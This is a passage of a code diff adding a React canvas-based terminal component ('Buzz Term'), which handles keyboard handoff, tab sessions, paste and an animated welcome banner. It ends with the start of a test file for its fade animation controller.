|
import { isMacPlatform } from "@/shared/lib/platform";
|
||||||
|
import { FadeController } from "./fadeController";
|
||||||
|
import {
|
||||||
|
INITIAL_HANDOFF_STATE,
|
||||||
|
accumulateScrollLines,
|
||||||
|
encodePaste,
|
||||||
|
encodeTerminalKey,
|
||||||
|
matchTabChord,
|
||||||
|
reduceHandoff,
|
||||||
|
stepSession,
|
||||||
|
} from "./terminalState";
|
||||||
|
import { buildTerminalBanner } from "./terminalBanner";
|
||||||
|
import { paintTerminalBanner } from "./terminalBannerPainter";
|
||||||
|
import { buildBannerColorTable, phaseAt } from "./terminalBannerWave";
|
||||||
|
import {
|
||||||
|
TERMINAL_CELL_METRICS,
|
||||||
|
type TerminalFrame,
|
||||||
|
TerminalGrid,
|
||||||
|
} from "./terminalRenderer";
|
||||||
|
|
||||||
|
export type TerminalViewportSize = {
|
||||||
|
columns: number;
|
||||||
|
rows: number;
|
||||||
|
pixelWidth: number;
|
||||||
|
pixelHeight: number;
|
||||||
|
};
|
||||||
|
|
||||||
|
export type TerminalSessionTab = {
|
||||||
|
id: string;
|
||||||
|
title: string;
|
||||||
|
closing: boolean;
|
||||||
|
active: boolean;
|
||||||
|
};
|
||||||
|
|
||||||
|
type TerminalSubstrateProps = {
|
||||||
|
appSurfaceRef?: React.RefObject<HTMLDivElement | null>;
|
||||||
|
channelName: string | null;
|
||||||
|
frame?: TerminalFrame;
|
||||||
|
sessionFrames?: readonly { sessionId: string; frame: TerminalFrame }[];
|
||||||
|
sessions: readonly TerminalSessionTab[];
|
||||||
|
bracketedPaste: boolean;
|
||||||
|
focusReportingEnabled: boolean;
|
||||||
|
enabled?: boolean;
|
||||||
|
onFrameConsumed?: (frame: TerminalFrame) => void;
|
||||||
|
onViewportSize?: (size: TerminalViewportSize) => void;
|
||||||
|
onInput: (text: string) => void;
|
||||||
|
/** Whole cells scrolled, keeping the DOM's sign: negative goes back. */
|
||||||
|
onScroll: (lines: number) => void;
|
||||||
|
onTerminalFocusChange: (focused: boolean) => void;
|
||||||
|
onSelectSession: (id: string) => void;
|
||||||
|
onCloseSession: (id: string) => void;
|
||||||
|
onNewSession: () => void;
|
||||||
|
};
|
||||||
|
|
||||||
|
function isToggleChord(event: KeyboardEvent): boolean {
|
||||||
|
return (
|
||||||
|
event.code === "KeyJ" &&
|
||||||
|
(event.metaKey || event.ctrlKey) &&
|
||||||
|
!event.altKey &&
|
||||||
|
!event.shiftKey
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const { width: CELL_WIDTH, height: CELL_HEIGHT } = TERMINAL_CELL_METRICS;
|
||||||
|
|
||||||
|
function hasVisibleOutput(frame: TerminalFrame): boolean {
|
||||||
|
return frame.rows.some((row) =>
|
||||||
|
row.spans.some((span) =>
|
||||||
|
span.clusters.some((cluster) => cluster.text.trim().length > 0),
|
||||||
|
),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
export function TerminalSubstrate({
|
||||||
|
appSurfaceRef,
|
||||||
|
channelName,
|
||||||
|
frame,
|
||||||
|
sessionFrames,
|
||||||
|
sessions,
|
||||||
|
bracketedPaste,
|
||||||
|
focusReportingEnabled,
|
||||||
|
enabled = true,
|
||||||
|
onFrameConsumed,
|
||||||
|
onViewportSize,
|
||||||
|
onInput,
|
||||||
|
onScroll,
|
||||||
|
onTerminalFocusChange,
|
||||||
|
onSelectSession,
|
||||||
|
onCloseSession,
|
||||||
|
onNewSession,
|
||||||
|
}: TerminalSubstrateProps) {
|
||||||
|
const { terminalPalette } = useTheme();
|
||||||
|
const canvasRef = React.useRef<HTMLCanvasElement>(null);
|
||||||
|
const bannerCanvasRef = React.useRef<HTMLCanvasElement>(null);
|
||||||
|
const textareaRef = React.useRef<HTMLTextAreaElement>(null);
|
||||||
|
const fadeRef = React.useRef<FadeController | null>(null);
|
||||||
|
const handoffRef = React.useRef(INITIAL_HANDOFF_STATE);
|
||||||
|
const gridsRef = React.useRef(new Map<string, TerminalGrid>());
|
||||||
|
const appliedFramesRef = React.useRef(new WeakSet<TerminalFrame>());
|
||||||
|
const gridRef = React.useRef<TerminalGrid | null>(null);
|
||||||
|
const paintedPaletteRef = React.useRef(terminalPalette);
|
||||||
|
const paintedSessionRef = React.useRef<string | null>(null);
|
||||||
|
const previousFocusRef = React.useRef<HTMLElement | null>(null);
|
||||||
|
const reportedFocusRef = React.useRef<boolean | null>(null);
|
||||||
|
const scrollBySessionRef = React.useRef(new Map<string, number>());
|
||||||
|
const revealedRef = React.useRef(false);
|
||||||
|
const activeSession = sessions.find((session) => session.active);
|
||||||
|
const activeSessionId = activeSession?.id ?? null;
|
||||||
|
const frames = React.useMemo(
|
||||||
|
() =>
|
||||||
|
sessionFrames ??
|
||||||
|
(activeSessionId && frame ? [{ sessionId: activeSessionId, frame }] : []),
|
||||||
|
[activeSessionId, frame, sessionFrames],
|
||||||
|
);
|
||||||
|
const [owner, setOwner] = React.useState<"buzz" | "terminal">("buzz");
|
||||||
|
const [viewport, setViewport] = React.useState({ columns: 1, rows: 1 });
|
||||||
|
const [welcomeVisible, setWelcomeVisible] = React.useState(true);
|
||||||
|
const [cursorPainted, setCursorPainted] = React.useState(true);
|
||||||
|
const [cursorReset, setCursorReset] = React.useState(0);
|
||||||
|
const [reducedMotion, setReducedMotion] = React.useState(
|
||||||
|
() => window.matchMedia("(prefers-reduced-motion: reduce)").matches,
|
||||||
|
);
|
||||||
|
const shortcutLabel = /Mac|iPhone|iPad/.test(navigator.platform)
|
||||||
|
? "⌘J"
|
||||||
|
: "CTRL+J";
|
||||||
|
const getAppSurface = React.useCallback(
|
||||||
|
() =>
|
||||||
|
appSurfaceRef?.current ??
|
||||||
|
document.querySelector<HTMLDivElement>(".buzz-huddle-app-surface"),
|
||||||
|
[appSurfaceRef],
|
||||||
|
);
|
||||||
|
const banner = React.useMemo(
|
||||||
|
() =>
|
||||||
|
buildTerminalBanner(
|
||||||
|
viewport.columns,
|
||||||
|
viewport.rows,
|
||||||
|
CELL_HEIGHT / CELL_WIDTH,
|
||||||
|
),
|
||||||
|
[viewport.columns, viewport.rows],
|
||||||
|
);
|
||||||
|
const terminalStyle = terminalPalette
|
||||||
|
? ({
|
||||||
|
"--buzz-terminal-background": terminalPalette.background,
|
||||||
|
"--buzz-terminal-foreground": terminalPalette.foreground,
|
||||||
|
} as React.CSSProperties)
|
||||||
|
: undefined;
|
||||||
|
|
||||||
|
const commitOwner = React.useEffectEvent((next: "buzz" | "terminal") => {
|
||||||
|
const appSurface = getAppSurface();
|
||||||
|
if (!appSurface) return;
|
||||||
|
if (next === "terminal") {
|
||||||
|
revealedRef.current = true;
|
||||||
|
previousFocusRef.current =
|
||||||
|
document.activeElement instanceof HTMLElement
|
||||||
|
? document.activeElement
|
||||||
|
: null;
|
||||||
|
appSurface.inert = true;
|
||||||
|
appSurface.setAttribute("aria-hidden", "true");
|
||||||
|
textareaRef.current?.focus({ preventScroll: true });
|
||||||
|
} else {
|
||||||
|
appSurface.inert = false;
|
||||||
|
appSurface.removeAttribute("aria-hidden");
|
||||||
|
const previous = previousFocusRef.current;
|
||||||
|
if (previous?.isConnected) previous.focus({ preventScroll: true });
|
||||||
|
else appSurface.focus({ preventScroll: true });
|
||||||
|
}
|
||||||
|
setOwner(next);
|
||||||
|
});
|
||||||
|
|
||||||
|
const forceBuzzFallback = React.useEffectEvent(() => {
|
||||||
|
handoffRef.current = { ...INITIAL_HANDOFF_STATE };
|
||||||
|
commitOwner("buzz");
|
||||||
|
fadeRef.current?.settle("conceal");
|
||||||
|
});
|
||||||
|
|
||||||
|
const sendInput = React.useEffectEvent((text: string) => {
|
||||||
|
if (!text) return;
|
||||||
|
setWelcomeVisible(false);
|
||||||
|
setCursorPainted(true);
|
||||||
|
setCursorReset((current) => current + 1);
|
||||||
|
onInput(text);
|
||||||
|
});
|
||||||
|
const consumeFrame = React.useEffectEvent((nextFrame: TerminalFrame) => {
|
||||||
|
onFrameConsumed?.(nextFrame);
|
||||||
|
});
|
||||||
|
/**
|
||||||
|
* Tab chords are handled at the window in capture phase, like the ⌘J
|
||||||
|
* handoff, so they win over the focused textarea. Gated on terminal
|
||||||
|
* ownership: in Buzz mode these keys belong to the rest of the app.
|
||||||
|
*/
|
||||||
|
const runTabChord = React.useEffectEvent((event: KeyboardEvent): boolean => {
|
||||||
|
if (owner !== "terminal" || event.isComposing) return false;
|
||||||
|
const chord = matchTabChord(event, isMacPlatform());
|
||||||
|
if (!chord) return false;
|
||||||
|
if (chord === "new") {
|
||||||
|
onNewSession();
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
if (chord === "close") {
|
||||||
|
// A tab already closing has a disabled × in the tab bar; re-firing close
|
||||||
|
// on it would send a second shutdown for a session on its way out.
|
||||||
|
if (!activeSession || activeSession.closing) return true;
|
||||||
|
onCloseSession(activeSession.id);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
const next = stepSession(sessions, chord === "next" ? 1 : -1);
|
||||||
|
if (next) onSelectSession(next);
|
||||||
|
return true;
|
||||||
|
});
|
||||||
|
const reportViewportSize = React.useEffectEvent(() => {
|
||||||
|
const canvas = canvasRef.current;
|
||||||
|
if (!canvas) return;
|
||||||
|
const bounds = canvas.getBoundingClientRect();
|
||||||
|
const dpr = window.devicePixelRatio || 1;
|
||||||
|
const pixelWidth = Math.max(1, Math.round(bounds.width * dpr));
|
||||||
|
const pixelHeight = Math.max(1, Math.round(bounds.height * dpr));
|
||||||
|
const columns = Math.max(1, Math.floor(bounds.width / CELL_WIDTH));
|
||||||
|
const rows = Math.max(1, Math.floor(bounds.height / CELL_HEIGHT));
|
||||||
|
setViewport((current) =>
|
||||||
|
current.columns === columns && current.rows === rows
|
||||||
|
? current
|
||||||
|
: { columns, rows },
|
||||||
|
);
|
||||||
|
onViewportSize?.({ columns, rows, pixelWidth, pixelHeight });
|
||||||
|
});
|
||||||
|
|
||||||
|
React.useEffect(() => {
|
||||||
|
if (!enabled) forceBuzzFallback();
|
||||||
|
}, [enabled]);
|
||||||
|
|
||||||
|
React.useEffect(() => {
|
||||||
|
const preference = window.matchMedia("(prefers-reduced-motion: reduce)");
|
||||||
|
const update = () => setReducedMotion(preference.matches);
|
||||||
|
preference.addEventListener("change", update);
|
||||||
|
return () => preference.removeEventListener("change", update);
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
// Input activity is intentionally an effect trigger: restarting this timer is
|
||||||
|
// what resets the blink phase even when the cursor is already painted.
|
||||||
|
// biome-ignore lint/correctness/useExhaustiveDependencies: cursorReset restarts the timer by design.
|
||||||
|
React.useEffect(() => {
|
||||||
|
setCursorPainted(true);
|
||||||
|
if (owner !== "terminal" || reducedMotion) return;
|
||||||
|
const timer = window.setInterval(
|
||||||
|
() => setCursorPainted((painted) => !painted),
|
||||||
|
500,
|
||||||
|
);
|
||||||
|
return () => window.clearInterval(timer);
|
||||||
|
}, [cursorReset, owner, reducedMotion]);
|
||||||
|
|
||||||
|
React.useEffect(() => {
|
||||||
|
const canvas = canvasRef.current;
|
||||||
|
if (!canvas) return;
|
||||||
|
reportViewportSize();
|
||||||
|
const ResizeObserverConstructor = window.ResizeObserver;
|
||||||
|
if (!ResizeObserverConstructor) return;
|
||||||
|
const observer = new ResizeObserverConstructor(reportViewportSize);
|
||||||
|
observer.observe(canvas);
|
||||||
|
return () => observer.disconnect();
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
React.useEffect(() => {
|
||||||
|
if (!focusReportingEnabled) {
|
||||||
|
reportedFocusRef.current = null;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const reportCompositeFocus = () => {
|
||||||
|
const focused = owner === "terminal" && document.hasFocus();
|
||||||
|
if (reportedFocusRef.current === focused) return;
|
||||||
|
reportedFocusRef.current = focused;
|
||||||
|
onTerminalFocusChange(focused);
|
||||||
|
};
|
||||||
|
reportCompositeFocus();
|
||||||
|
window.addEventListener("focus", reportCompositeFocus);
|
||||||
|
window.addEventListener("blur", reportCompositeFocus);
|
||||||
|
return () => {
|
||||||
|
window.removeEventListener("focus", reportCompositeFocus);
|
||||||
|
window.removeEventListener("blur", reportCompositeFocus);
|
||||||
|
};
|
||||||
|
}, [focusReportingEnabled, onTerminalFocusChange, owner]);
|
||||||
|
|
||||||
|
React.useLayoutEffect(() => {
|
||||||
|
const appSurface = getAppSurface();
|
||||||
|
if (!appSurface) return;
|
||||||
|
fadeRef.current = new FadeController(appSurface);
|
||||||
|
const handleKeyDown = (event: KeyboardEvent) => {
|
||||||
|
if (!enabled) return;
|
||||||
|
if (runTabChord(event)) {
|
||||||
|
event.preventDefault();
|
||||||
|
event.stopImmediatePropagation();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (!isToggleChord(event)) return;
|
||||||
|
if (event.isComposing) {
|
||||||
|
handoffRef.current = reduceHandoff(handoffRef.current, {
|
||||||
|
type: "focus-lost",
|
||||||
|
}).state;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
event.preventDefault();
|
||||||
|
event.stopImmediatePropagation();
|
||||||
|
const result = reduceHandoff(handoffRef.current, {
|
||||||
|
type: "chord-down",
|
||||||
|
repeat: event.repeat,
|
||||||
|
});
|
||||||
|
handoffRef.current = result.state;
|
||||||
|
};
|
||||||
|
const handleKeyUp = (event: KeyboardEvent) => {
|
||||||
|
if (!enabled || !isToggleChord(event)) return;
|
||||||
|
event.preventDefault();
|
||||||
|
event.stopImmediatePropagation();
|
||||||
|
if (event.isComposing) return;
|
||||||
|
const result = reduceHandoff(handoffRef.current, { type: "chord-up" });
|
||||||
|
handoffRef.current = result.state;
|
||||||
|
if (!result.toggled) return;
|
||||||
|
commitOwner(result.state.owner);
|
||||||
|
fadeRef.current?.toggle(
|
||||||
|
window.matchMedia("(prefers-reduced-motion: reduce)").matches,
|
||||||
|
);
|
||||||
|
};
|
||||||
|
const cancelChord = () => {
|
||||||
|
handoffRef.current = reduceHandoff(handoffRef.current, {
|
||||||
|
type: "focus-lost",
|
||||||
|
}).state;
|
||||||
|
};
|
||||||
|
window.addEventListener("keydown", handleKeyDown, true);
|
||||||
|
window.addEventListener("keyup", handleKeyUp, true);
|
||||||
|
window.addEventListener("blur", cancelChord);
|
||||||
|
document.addEventListener("visibilitychange", cancelChord);
|
||||||
|
return () => {
|
||||||
|
fadeRef.current?.settle("conceal");
|
||||||
|
fadeRef.current = null;
|
||||||
|
appSurface.inert = false;
|
||||||
|
appSurface.removeAttribute("aria-hidden");
|
||||||
|
window.removeEventListener("keydown", handleKeyDown, true);
|
||||||
|
window.removeEventListener("keyup", handleKeyUp, true);
|
||||||
|
window.removeEventListener("blur", cancelChord);
|
||||||
|
document.removeEventListener("visibilitychange", cancelChord);
|
||||||
|
};
|
||||||
|
}, [enabled, getAppSurface]);
|
||||||
|
|
||||||
|
// The banner's animation loop. It runs only while the splash is ON SCREEN,
|
||||||
|
// which needs BOTH conditions below — they are different questions:
|
||||||
|
// - `welcomeVisible`: the splash has not been dismissed by terminal output.
|
||||||
|
// - `owner === "terminal"`: the terminal layer is revealed at all.
|
||||||
|
//
|
||||||
|
// `owner` is the load-bearing one and it is not optional. This substrate is
|
||||||
|
// mounted unconditionally by AppShell on every route and merely CSS-concealed
|
||||||
|
// in Buzz mode (`.buzz-terminal-substrate` is `position:absolute; inset:0`),
|
||||||
|
// and `welcomeVisible` starts `true` and only clears on terminal INPUT. So a
|
||||||
|
// loop gated on `welcomeVisible` alone runs forever behind the whole app for
|
||||||
|
// anyone who never opens the terminal — measured at 120 rAF/s in the channel
|
||||||
|
// view, repainting a canvas nobody can see and slowing every other paint.
|
||||||
|
//
|
||||||
|
// Deliberately NOT gated on `enabled`: that is `available && Boolean(active)`
|
||||||
|
// where `available` is `isTauri()`, and a session is auto-created on channel
|
||||||
|
// open (TerminalBootstrap), so `enabled` is true while still concealed in the
|
||||||
|
// app and permanently false in the browser — it would gate the tests green
|
||||||
|
// and leave real users paying the cost. `owner` is user-gestured in both.
|
||||||
|
//
|
||||||
|
// `prefers-reduced-motion` takes the STATIC path (no motion argument), which
|
||||||
|
// is the shipped painter call, not a paused animation. Those are different:
|
||||||
|
// a stopped loop still parks on whatever phase it halted at.
|
||||||
|
React.useEffect(() => {
|
||||||
|
const canvas = bannerCanvasRef.current;
|
||||||
|
if (!canvas || !banner || !terminalPalette || !welcomeVisible) return;
|
||||||
|
if (owner !== "terminal") return;
|
||||||
|
|
||||||
|
const dpr = window.devicePixelRatio || 1;
|
||||||
|
if (reducedMotion) {
|
||||||
|
if (!paintTerminalBanner(canvas, banner, terminalPalette, dpr))
|
||||||
|
setWelcomeVisible(false);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Built once per palette, not per frame: the table is phase-independent.
|
||||||
|
const table = buildBannerColorTable(terminalPalette);
|
||||||
|
const start = performance.now();
|
||||||
|
let frame = 0;
|
||||||
|
const tick = (now: number) => {
|
||||||
|
if (
|
||||||
|
!paintTerminalBanner(canvas, banner, terminalPalette, dpr, {
|
||||||
|
phase: phaseAt((now - start) / 1000),
|
||||||
|
table,
|
||||||
|
})
|
||||||
|
) {
|
||||||
|
setWelcomeVisible(false);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
frame = window.requestAnimationFrame(tick);
|
||||||
|
};
|
||||||
|
frame = window.requestAnimationFrame(tick);
|
||||||
|
return () => window.cancelAnimationFrame(frame);
|
||||||
|
}, [banner, owner, reducedMotion, terminalPalette, welcomeVisible]);
|
||||||
|
|
||||||
|
React.useEffect(() => {
|
||||||
|
for (const delivered of frames) {
|
||||||
|
if (appliedFramesRef.current.has(delivered.frame)) continue;
|
||||||
|
appliedFramesRef.current.add(delivered.frame);
|
||||||
|
let grid = gridsRef.current.get(delivered.sessionId);
|
||||||
|
if (!grid) {
|
||||||
|
grid = new TerminalGrid(delivered.frame.viewport);
|
||||||
|
gridsRef.current.set(delivered.sessionId, grid);
|
||||||
|
} else if (
|
||||||
|
grid.viewport.generation !== delivered.frame.viewport.generation ||
|
||||||
|
grid.viewport.columns !== delivered.frame.viewport.columns ||
|
||||||
|
grid.viewport.screenLines !== delivered.frame.viewport.screenLines
|
||||||
|
) {
|
||||||
|
grid.resize(delivered.frame.viewport);
|
||||||
|
}
|
||||||
|
grid.apply(delivered.frame);
|
||||||
|
consumeFrame(delivered.frame);
|
||||||
|
if (
|
||||||
|
delivered.sessionId === activeSessionId &&
|
||||||
|
revealedRef.current &&
|
||||||
|
hasVisibleOutput(delivered.frame)
|
||||||
|
) {
|
||||||
|
// Policy: the banner is a splash for the reveal, so spawn-time shell
|
||||||
|
// output must not dismiss it. Only visible output from the active PTY
|
||||||
|
// that arrives after the terminal has been revealed (or the first
|
||||||
|
// keystroke, see sendInput) removes the overlay.
|
||||||
|
setWelcomeVisible(false);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
gridRef.current = activeSessionId
|
||||||
|
? (gridsRef.current.get(activeSessionId) ?? null)
|
||||||
|
: null;
|
||||||
|
|
||||||
|
const canvas = canvasRef.current;
|
||||||
|
if (!canvas) return;
|
||||||
|
if (!terminalPalette) {
|
||||||
|
forceBuzzFallback();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const context = canvas.getContext("2d", { alpha: false });
|
||||||
|
if (!context) {
|
||||||
|
forceBuzzFallback();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const dpr = window.devicePixelRatio || 1;
|
||||||
|
const bounds = canvas.getBoundingClientRect();
|
||||||
|
const pixelWidth = Math.round(bounds.width * dpr);
|
||||||
|
const pixelHeight = Math.round(bounds.height * dpr);
|
||||||
|
const resized =
|
||||||
|
canvas.width !== pixelWidth || canvas.height !== pixelHeight;
|
||||||
|
const paletteChanged = paintedPaletteRef.current !== terminalPalette;
|
||||||
|
paintedPaletteRef.current = terminalPalette;
|
||||||
|
// A grid drains its dirty set in paint(), so a session that was painted and
|
||||||
|
// then deactivated comes back holding rows with nothing marked dirty. Both
|
||||||
|
// refs are written after the early returns above, so a pass that bails
|
||||||
|
// keeps the switch pending instead of swallowing it.
|
||||||
|
const sessionChanged = paintedSessionRef.current !== activeSessionId;
|
||||||
|
paintedSessionRef.current = activeSessionId;
|
||||||
|
const repaintAll = resized || paletteChanged || sessionChanged;
|
||||||
|
if (resized) {
|
||||||
|
canvas.width = pixelWidth;
|
||||||
|
canvas.height = pixelHeight;
|
||||||
|
}
|
||||||
|
if (repaintAll) {
|
||||||
|
gridRef.current?.markAllDirty();
|
||||||
|
}
|
||||||
|
context.setTransform(dpr, 0, 0, dpr, 0, 0);
|
||||||
|
if (repaintAll) {
|
||||||
|
// Not grid-guarded: switching to a session that has delivered no frame
|
||||||
|
// yet has no grid to mark or paint, so this fill is the only thing that
|
||||||
|
// erases the outgoing session's pixels.
|
||||||
|
context.fillStyle = terminalPalette.background;
|
||||||
|
context.fillRect(0, 0, bounds.width, bounds.height);
|
||||||
|
}
|
||||||
|
gridRef.current?.setCursorPainted(cursorPainted);
|
||||||
|
gridRef.current?.paint(context, TERMINAL_CELL_METRICS, terminalPalette);
|
||||||
|
}, [activeSessionId, cursorPainted, frames, terminalPalette]);
|
||||||
|
|
||||||
|
const runTabAction = (action: () => void) => {
|
||||||
|
action();
|
||||||
|
if (owner === "terminal") {
|
||||||
|
textareaRef.current?.focus({ preventScroll: true });
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
<section
|
||||||
|
aria-label="Buzz Term"
|
||||||
|
className="buzz-terminal-substrate"
|
||||||
|
data-terminal-owner={owner}
|
||||||
|
style={terminalStyle}
|
||||||
|
onWheel={(event) => {
|
||||||
|
event.preventDefault();
|
||||||
|
const sessionId = activeSession?.id;
|
||||||
|
if (!sessionId) return;
|
||||||
|
const deltaPx =
|
||||||
|
event.deltaMode === 1
|
||||||
|
? event.deltaY * CELL_HEIGHT
|
||||||
|
: event.deltaMode === 2
|
||||||
|
? event.deltaY * event.currentTarget.clientHeight
|
||||||
|
: event.deltaY;
|
||||||
|
const result = accumulateScrollLines(
|
||||||
|
{ remainderPx: scrollBySessionRef.current.get(sessionId) ?? 0 },
|
||||||
|
deltaPx,
|
||||||
|
CELL_HEIGHT,
|
||||||
|
);
|
||||||
|
scrollBySessionRef.current.set(sessionId, result.state.remainderPx);
|
||||||
|
if (result.lines !== 0) onScroll(result.lines);
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
<div className="buzz-terminal-contract-bar">
|
||||||
|
<div className="buzz-terminal-tabs" role="tablist">
|
||||||
|
{sessions.map((session, index) => (
|
||||||
|
<div
|
||||||
|
className={cn(
|
||||||
|
"buzz-terminal-tab",
|
||||||
|
session.active && "buzz-terminal-tab-active",
|
||||||
|
)}
|
||||||
|
key={session.id}
|
||||||
|
role="presentation"
|
||||||
|
>
|
||||||
|
<button
|
||||||
|
aria-selected={session.active}
|
||||||
|
className="buzz-terminal-tab-select"
|
||||||
|
disabled={session.closing}
|
||||||
|
onClick={() => runTabAction(() => onSelectSession(session.id))}
|
||||||
|
role="tab"
|
||||||
|
type="button"
|
||||||
|
>
|
||||||
|
<span className="buzz-terminal-designator">
|
||||||
|
SYS.{String(index + 1).padStart(2, "0")}
|
||||||
|
</span>
|
||||||
|
<span>{session.closing ? "CLOSING" : session.title}</span>
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
aria-label={`Close ${session.title}`}
|
||||||
|
className="buzz-terminal-close"
|
||||||
|
disabled={session.closing}
|
||||||
|
onClick={() => runTabAction(() => onCloseSession(session.id))}
|
||||||
|
type="button"
|
||||||
|
>
|
||||||
|
×
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
))}
|
||||||
|
<button
|
||||||
|
aria-label="New Buzz Term tab"
|
||||||
|
className="buzz-terminal-new-tab"
|
||||||
|
onClick={() => runTabAction(onNewSession)}
|
||||||
|
type="button"
|
||||||
|
>
|
||||||
|
+
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div className="buzz-terminal-readout">
|
||||||
|
<span>{channelName ? `#${channelName}` : "BUZZ"}</span>
|
||||||
|
<span>LOCAL PTY · PRIVATE</span>
|
||||||
|
<span>{shortcutLabel} BUZZ</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
{/* biome-ignore lint/a11y/noStaticElementInteractions: the hidden textarea owns keyboard semantics; this only preserves its focus across canvas clicks. */}
|
||||||
|
<div
|
||||||
|
className="buzz-terminal-viewport"
|
||||||
|
onMouseDown={(event) => {
|
||||||
|
if (owner !== "terminal") return;
|
||||||
|
// Preventing the canvas mousedown also suppresses selection. Revisit
|
||||||
|
// this when the terminal gains mouse selection support.
|
||||||
|
event.preventDefault();
|
||||||
|
textareaRef.current?.focus({ preventScroll: true });
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
<canvas ref={canvasRef} />
|
||||||
|
{welcomeVisible && banner ? (
|
||||||
|
<canvas className="buzz-terminal-welcome" ref={bannerCanvasRef} />
|
||||||
|
) : null}
|
||||||
|
<textarea
|
||||||
|
aria-label="Terminal input"
|
||||||
|
autoCapitalize="off"
|
||||||
|
autoComplete="off"
|
||||||
|
className="buzz-terminal-input"
|
||||||
|
onCompositionEnd={() => {
|
||||||
|
handoffRef.current = reduceHandoff(handoffRef.current, {
|
||||||
|
type: "composition-end",
|
||||||
|
}).state;
|
||||||
|
}}
|
||||||
|
onCompositionStart={() => {
|
||||||
|
handoffRef.current = reduceHandoff(handoffRef.current, {
|
||||||
|
type: "composition-start",
|
||||||
|
}).state;
|
||||||
|
}}
|
||||||
|
onInput={(event) => {
|
||||||
|
if (handoffRef.current.composing) return;
|
||||||
|
const committed = event.currentTarget.value;
|
||||||
|
event.currentTarget.value = "";
|
||||||
|
sendInput(committed);
|
||||||
|
}}
|
||||||
|
onKeyDown={(event) => {
|
||||||
|
if (event.nativeEvent.isComposing) {
|
||||||
|
event.stopPropagation();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (isToggleChord(event.nativeEvent)) return;
|
||||||
|
const encoded = encodeTerminalKey(event);
|
||||||
|
if (encoded) {
|
||||||
|
event.preventDefault();
|
||||||
|
sendInput(encoded);
|
||||||
|
}
|
||||||
|
}}
|
||||||
|
onPaste={(event) => {
|
||||||
|
event.preventDefault();
|
||||||
|
sendInput(
|
||||||
|
encodePaste(
|
||||||
|
event.clipboardData.getData("text/plain"),
|
||||||
|
bracketedPaste,
|
||||||
|
),
|
||||||
|
);
|
||||||
|
}}
|
||||||
|
ref={textareaRef}
|
||||||
|
spellCheck={false}
|
||||||
|
tabIndex={owner === "terminal" ? 0 : -1}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
<div aria-live="polite" className="sr-only">
|
||||||
|
{owner === "terminal" ? "Buzz Term mode" : "Buzz mode"}
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
);
|
||||||
|
}
|
||||||
154
desktop/src/features/terminal/fadeController.test.mjs
Normal file
154
desktop/src/features/terminal/fadeController.test.mjs
Normal file
@@ -0,0 +1,154 @@
|
|||||||
|
import assert from "node:assert/strict";
|
||||||
|
import test from "node:test";
|
||||||
|
|
||||||
|
import {
|
||||||
|
CONCEAL_DURATION_MS,
|
||||||
|
FADE_EASING,
|
||||||
|
FadeController,
|
||||||
|
REVEAL_DURATION_MS,
|
||||||
|
} from "./fadeController.ts";
|
||||||
|
|
||||||
|
function deferred() {
|
||||||
|
let resolve;
|
||||||
|
const promise = new Promise((next) => {
|
||||||
|
resolve = next;
|
||||||
|
});
|
||||||
|
return { promise, resolve };
|
||||||
|
}
|
||||||
|
|
||||||
|
function fixture() {
|
||||||
|
const calls = [];
|
||||||
|
const completions = [deferred()];
|
||||||
|
const animation = {
|
||||||
|
currentTime: 0,
|
||||||
|
playbackRate: 0,
|
||||||
|
finished: completions[0].promise,
|
||||||
|
play() {
|
||||||
|
calls.push("play");
|
||||||
|
completions.push(deferred());
|
||||||
|
this.finished = completions.at(-1).promise;
|
||||||
|
},
|
||||||
|
reverse() {
|
||||||
|
calls.push("reverse");
|
||||||
|
completions.push(deferred());
|
||||||
|
this.finished = completions.at(-1).promise;
|
||||||
|
},
|
||||||
|
cancel() {
|
||||||
|
calls.push("cancel");
|
||||||
|
},
|
||||||
|
};
|
||||||
|
// Models the part of CSSOM this class depends on: an inline declaration is
|
||||||
|
// PRESENT or ABSENT, and only an absent one lets the stylesheet through.
|
||||||
|
// A plain `{ willChange: "auto" }` bag cannot tell those apart, so it would
|
||||||
|
// score a clobbering write as a correct release.
|
||||||
|
const authored = "bottom, box-shadow";
|
||||||
|
const style = {
|
||||||
|
opacity: "1",
|
||||||
|
willChange: "",
|
||||||
|
removeProperty(property) {
|
||||||
|
assert.equal(property, "will-change");
|
||||||
|
this.willChange = "";
|
||||||
|
},
|
||||||
|
/** What the element would actually compute, stylesheet included. */
|
||||||
|
get computedWillChange() {
|
||||||
|
return this.willChange === "" ? authored : this.willChange;
|
||||||
|
},
|
||||||
|
};
|
||||||
|
const surface = {
|
||||||
|
authored,
|
||||||
|
style,
|
||||||
|
animate(frames, options) {
|
||||||
|
calls.push({ frames, options });
|
||||||
|
return animation;
|
||||||
|
},
|
||||||
|
};
|
||||||
|
return {
|
||||||
|
animation,
|
||||||
|
calls,
|
||||||
|
completions,
|
||||||
|
controller: new FadeController(surface),
|
||||||
|
surface,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
test("reversal reuses the one timeline and scales return playback", () => {
|
||||||
|
const { animation, calls, controller } = fixture();
|
||||||
|
assert.equal(controller.toggle(false), "reveal");
|
||||||
|
assert.equal(controller.toggle(false), "conceal");
|
||||||
|
assert.equal(calls.filter((call) => typeof call === "object").length, 1);
|
||||||
|
assert.equal(
|
||||||
|
